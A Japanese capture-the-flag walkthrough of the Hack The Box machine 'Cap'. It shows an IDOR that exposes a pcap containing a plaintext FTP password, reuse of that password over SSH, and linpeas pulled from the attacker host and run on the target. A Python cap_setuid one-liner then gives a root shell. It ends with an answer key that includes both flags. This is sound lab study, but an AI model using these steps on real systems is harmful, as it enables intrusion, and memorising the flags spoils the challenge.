本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Cap」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン及びアクセス
(2) Webアクセスによる動作確認
(3) pcapファイルからパスワード取得
(4) FTPログイン及び一般ユーザー用フラグ取得
(5) linpeas.shを用いた脆弱性調査
(6) 特権昇格
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン及びアクセス
(1) 「nmap -sC -sV 10.10.10.245」コマンドを実行して、応答があるポート番号を確認する。FTP(21/tcp)、SSH(22/tcp)、HTTP(80/tcp)が応答がある。
$ nmap -sC -sV 10.10.10.245
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 09:36 EST
Nmap scan report for 10.10.10.245
Host is up (0.23s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.97 seconds
(2) FTPでアクセスし、anonymousユーザーでログインできるか確認する。
$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): anonymous ←「anonymous」を入力して[Enter]キーを押す。
331 Please specify the password.
Password: ←パスワードは何も入力せず[Enter] キーを押す。
530 Login incorrect.
ftp: Login failed
ftp>Webアクセスによる動作確認
(1) ブラウザを用いて「http://10.10.10.245/」にアクセスする。
(2) 左部の「Security Snapshot (5 Second PCAP + Analysis)」をクリックすると、「http://10.10.10.245/data/[数字]」にアクセスする。
「Download」をクリックするとpcapファイルをダウンロードできる。
(3) 左部の「IP Config」をクリックすると、「http://10.10.10.245/ip」にアクセスし、「ip a」コマンドの出力結果のような画面が表示される。
(4) 左部の「Network Status」をクリックすると、「http://10.10.10.245/netstat」にアクセスし、「netstat -an」コマンドの出力結果のような画面が表示される。
pcapファイルからパスワード取得
(1) 「http://10.10.10.245/data/0」にアクセスし「Download」をクリックして、pcapファイル(0.pcap)をダウンロードする。
このようにURLやパラメータで使用される識別子を操作して、アクセスするオブジェクトを変更する脆弱性を「Insecure Direct Object Reference (IDOR) 」という。
(2) Wiresharkでダウンロードしたpcapファイル(0.pcap)を開く。
(3) 1番上のパケットを右クリックして[追跡] > [TCP ストリーム]をクリックする。上部のテキストボックスに「tcp.stream eq 0」が入力される。
(4) 「http://192.168.196.16/ へのHTTPアクセス」のパケットが表示される。特に有益な情報はない。
(5) 上部のフィルタのテキストボックスに「tcp.stream eq 1」が入力して、パケットを右クリックして[追跡] > [TCP ストリーム]をクリックする。
(6) 「http://192.168.196.16/static/main.css へのHTTPアクセス」のパケットが表示される。特に有益な情報はない。
(7) 上部のフィルタのテキストボックスに「tcp.stream eq 2」が入力して、パケットを右クリックして[追跡] > [TCP ストリーム]をクリックする。
(8) 「http://192.168.196.16/favicon.ico へのHTTPアクセス」のパケットが表示される。特に有益な情報はない。
(9) 上部のフィルタのテキストボックスに「tcp.stream eq 3」が入力して、パケットを右クリックして[追跡] > [TCP ストリーム]をクリックする。
(10) 「FTPを用いてnathanユーザーでログイン(パスワード:Buck3tH4TF0RM3!)」のパケットが表示される。
【まとめ】
「http://[CapマシンのIPアドレス]/data/0」にアクセスしpcapファイルをダウンロードすると、以下のパケットをキャプチャした通信データである。
FTP経由でアクセスした際のnathanユーザーのパスワードが判明した。
| 項目 | 通信の内容 |
|---|---|
| 1個目の通信 | http://192.168.196.16/ へのHTTPアクセス |
| 2個目の通信 | http://192.168.196.16/static/main.css へのHTTPアクセス |
| 3個目の通信 | http://192.168.196.16/favicon.ico へのHTTPアクセス |
| 4個目の通信 | FTPを用いてnathanユーザーでログイン(パスワード:Buck3tH4TF0RM3!) |
FTPログイン及び一般ユーザー用フラグ取得
(1) FTPを用いてnathanユーザーでログインし、一般ユーザーのフラグファイルを取得する
$ ftp nathan@10.10.10.245
→パスワード(Buck3tH4TF0RM3!)を入力してログインが成功する
ftp> ls
229 Entering Extended Passive Mode (|||42181|)
150 Here comes the directory listing.
-rwxrwxr-x 1 1001 1001 828287 Mar 08 15:37 linpeas.sh
drwxr-xr-x 3 1001 1001 4096 Mar 08 15:43 snap
-r-------- 1 1001 1001 33 Mar 08 15:15 user.txt
ftp> get user.txt
→「user.txt」ファイルがダウンロードされる。
(2) ダウンロードしたファイル(user.txt)をKali Linux側で開くと、一般ユーザーのフラグ文字列が表示される。
linpeas.shを用いた脆弱性調査
(1) FTPで使用されているnathanユーザーはSSHでも使用されている可能性があるため、SSHでログイン試行すると、ログインに成功する。
$ ssh nathan@10.10.10.245
→パスワード(Buck3tH4TF0RM3!)を入力してログインが成功する
(2) linpeas.shを用いてサーバの脆弱性を調査するため、一旦Kali Linux側にlinpeas.shファイルを格納する。
※Kali Linux側のプロンプトで以下のコマンドを実行
linpeas.shがダウンロードする。
$ wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -p ~/
linpeas.shを現在のディレクトリにコピーする。
$ cp ./github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh ./
CapマシンからKali LinuxにアクセスするためIPアドレスを確認する。
ip a
→Kali LinuxのVPN用インターフェース(tun0)のIPアドレスを確認する。
Webサーバとして起動する。
$ python3 -m http.server 8080
(3) nathanユーザーでSSHログインしたプロンプトにてlinpeas.shを実行する。
※攻撃対象(Cap)マシン側のプロンプトで以下のコマンドを実行
$ wget http://[Kali LinuxのIPアドレス]:8080/linpeas.sh
→「linpeas.sh」がダウンロードされる。
$ ls
→「linpeas.sh」ファイルがあることを確認する
$ chmod +x linpeas.sh
$ ./linpeas.sh > output.txt

(4) linpeas.shの調査結果を確認すると、「/usr/bin/python3.8」に「cap_setuid」と「cap_net_bind_service」が付与されている。「https://man7.org/linux/man-pages/man7/capabilities.7.html」によると、「CAP_SETUID」はSUIDビットが設定されていなくても、プロセスがsetuid権限を取得できる。
※攻撃対象(Cap)マシン側のプロンプトで以下のコマンドを実行
$ cat output.txt
→linpeas.shで調査した結果が出力される。
赤(Red)や黄色(Yellow)の内容を確認すると、以下の脆弱性があることが分かる。
【output.txtの内容(一部抜粋)】
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

特権昇格
(1) ブラウザを用いて 「GTFOBins(https://gtfobins.github.io/)」にアクセスする。
[GTFOBinsとは]
GTFOBinsはLinuxにおけるローカル権限昇格についてまとめたWebサイト。
脆弱性のまとめではなく、コマンド(バイナリ)も記載されている。
(2) テキストボックスに「Python」を入力して、検索されたPythonをクリックする。
(3) Capabilities欄を確認すると、「./python -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’」コマンドを実行すると特権昇格ができることが分かる。
(4) nathanユーザーでSSHログインしたプロンプトにて、特権昇格してrootユーザーのフラグの文字列を確認する。
※攻撃対象(Cap)マシン側のプロンプトで以下のコマンドを実行
$ which python3
→「/usr/bin/python3」が出力される。
$ /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
→rootのプロンプト(#)が表示される。
$ whoami
→「root」が出力される。
$ id
→「uid=0(root) gid=1001(nathan) groups=1001(nathan)」が出力されるため、rootユーザーであることが分かる
$ cat /root/root.txt
→rootユーザのフラグの文字列が出力される。

[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many TCP ports are open?
問題(日本語訳):開いている TCP ポートはいくつですか?
答え:3
nmapコマンドでのポートスキャンで21/tcp、22/tcp、80/tcpの2つのポートから応答があったため。
・Task 2
問題(英語訳):After running a "Security Snapshot", the browser is redirected to a path of the format /[something]/[id], where [id] represents the id number of the scan. What is the [something]?
問題(日本語訳):「Security Snapshot」を実行すると、ブラウザは /[something]/[id] という形式のパスにリダイレクトされます。ここで、[id] はスキャンの ID 番号を表します。[something] とは何ですか?
答え:data
※「http://10.10.10.245/」の左部の「Security Snapshot (5 Second PCAP + Analysis)」をクリックすると、「http://10.10.10.245/data/[数字]」にアクセスする。
・Task 3
問題(英語訳):Are you able to get to other users' scans?
問題(日本語訳):他のユーザーのスキャンにアクセスできますか?
答え:yes
・Task 4
問題(英語訳):What is the ID of the PCAP file that contains sensative data?
問題(日本語訳):機密データを含む PCAP ファイルの ID は何ですか?
答え:0
※「http://10.10.10.245/data/0」にアクセスると、機密データを含むPCAPファイルをダウンロードできる。
・Task 5
問題(英語訳):Which application layer protocol in the pcap file can the sensetive data be found in?
問題(日本語訳):pcap ファイル内のどのアプリケーション層プロトコルにセンシティブなデータが見つかるでしょうか?
答え:ftp
・Task 6
問題(英語訳):We've managed to collect nathan's FTP password. On what other service does this password work?
問題(日本語訳):nathan の FTP パスワードを収集できました。このパスワードは他のどのサービスでも使用できますか?
答え:ssh
・Submit User Flag
問題(英語訳):Submit the flag located in the nathan user's home directory.
問題(日本語訳):nathan ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:b13702c2c9df22f867b75a546126d232
※「user.txt」ファイルの内容。
・Task 8
問題(英語訳):What is the full path to the binary on this machine has special capabilities that can be abused to obtain root privileges?
問題(日本語訳):このマシン上のバイナリへの完全なパスは何ですか? このマシンには、root権限を取得するために悪用される可能性のある特別な機能があります。
答え:/usr/bin/python3.8
・Submit Root Flag
問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):rootのホームディレクトリにあるフラグを送信します。
答え:4c72b61a8b753afa5e47872b2a641e2c
※「/root/root.txt」ファイルの内容。
関連記事(Hack The Box)
※後日作成予定。

